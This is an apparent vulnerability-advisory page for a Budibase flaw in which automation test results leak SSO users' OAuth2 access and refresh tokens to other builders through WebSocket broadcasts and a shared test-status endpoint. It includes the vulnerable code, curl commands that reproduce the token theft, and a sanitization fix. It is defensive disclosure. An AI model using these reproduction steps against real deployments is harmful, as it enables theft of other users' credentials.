GHSA-gh4h-34gr-87r7Medium· 5.7▾ SunlitBudibase: OAuth2 Token Disclosure via Automation Test Results Broadcast to Other Builders
▾ Sunlit zone — Low / medium · no exploitation signal
impact 31.4 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens.
The vulnerability exists because getUserContextBindings() intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization.
Step 1: Tokens included in user bindings
In packages/server/src/sdk/users/utils.ts:134-161:
export function getUserContextBindings(user: ContextUser): UserBindings {
const bindings: UserBindings = {
_id: user._id,
email: user.email,
// ...
}
if (isSSOUser(user) && user.oauth2) {
bindings.oauth2 = {
accessToken: user.oauth2.accessToken, // <-- sensitive
refreshToken: user.oauth2.refreshToken, // <-- sensitive
}
}
return bindings
}
Step 2: Bindings passed to automation execution
In packages/server/src/api/controllers/automation.ts:311-312:
const user = sdk.users.getUserContextBindings(ctx.user)
return await triggers.externalTrigger(
{ ...automation, disabled: false },
{ ...input, appId, user }, // user with tokens passed as event param
{ getResponses: true, onProgress: emitProgress }
)
Step 3: Tokens placed in trigger outputs
In packages/server/src/threads/automation.ts:409-413:
const trigger: AutomationTriggerResult = {
id: data.automation.definition.trigger.id,
stepId: data.automation.definition.trigger.stepId,
inputs: null,
outputs: data.event, // data.event includes user.oauth2 tokens
}
Step 4: Result broadcast without sanitization
The full result (including trigger.outputs.user.oauth2) is exposed via two vectors:
WebSocket broadcast — builderSocket.emitToRoom() calls this.io.in(room).emit() (packages/server/src/websockets/websocket.ts:291) which sends to ALL sockets in the app's room, not just the originator.
Test status endpoint — recordTestProgress() stores the result in a Map keyed by ${appId}:${automationId} with no user isolation (packages/server/src/automations/testProgress.ts:41-74). Any builder can call GET /api/automations/:id/test/status to retrieve another user's test results.
Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens.
# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously
curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \
-H 'x-budibase-app-id: app_dev_<appid>' \
-H 'Cookie: budibase:auth=<userA_session>' \
-H 'Content-Type: application/json' \
-d '{"row": {"tableId": "ta_xxx"}}'
# Returns: {"message": "Automation test started"}
# Step 2: User B (another builder on the same app) polls the test status
curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \
-H 'x-budibase-app-id: app_dev_<appid>' \
-H 'Cookie: budibase:auth=<userB_session>'
# Response includes the full automation result with:
# result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..."
# result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..."
Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the BuilderSocketEvent.AutomationTestProgress event with status: "complete" includes the full result payload.
testProgress.ts:15), providing a window for polling-based attacks.Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients.
In packages/server/src/api/controllers/automation.ts, sanitize the result before passing to emitProgress:
function sanitizeAutomationResult(result: AutomationResults): AutomationResults {
const sanitized = cloneDeep(result)
if (sanitized.trigger?.outputs?.user?.oauth2) {
delete sanitized.trigger.outputs.user.oauth2
}
for (const step of sanitized.steps || []) {
if (step.outputs?.user?.oauth2) {
delete step.outputs.user.oauth2
}
}
return sanitized
}
Apply sanitization in the emitProgress callback at line 290 and before returning ctx.body at line 342:
emitProgress({
status: "complete",
occurredAt: Date.now(),
result: sanitizeAutomationResult(result),
})
Additionally, the testProgress store should be scoped per-user (keyed by ${appId}:${automationId}:${userId}) so that one builder's test results are not accessible to another builder via the testStatus endpoint.
@budibase/server <= 3.38.1Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
GHSA-fcrw-f7gg-6g9fMedium· 4.9Budibase: SSO OAuth2 Token Leakage via User Metadata Endpoints to Power-Role Users
GHSA-cr7p-cr3q-h5cmMedium· 5.3Budibase: Account Enumeration via Login Lockout Response Differential
GHSA-4qcj-m5wp-jmf4Medium· 4.3Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings
GHSA-mqhr-6j6h-74p5CriticalBudibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak
GHSA-hr66-5mqr-8mpxHigh· 7.5Budibase: Unauthenticated user information disclosure via public tenant user lookup endpoint
CVE-2026-54356High· 7.1Budibase is an open-source low-code platform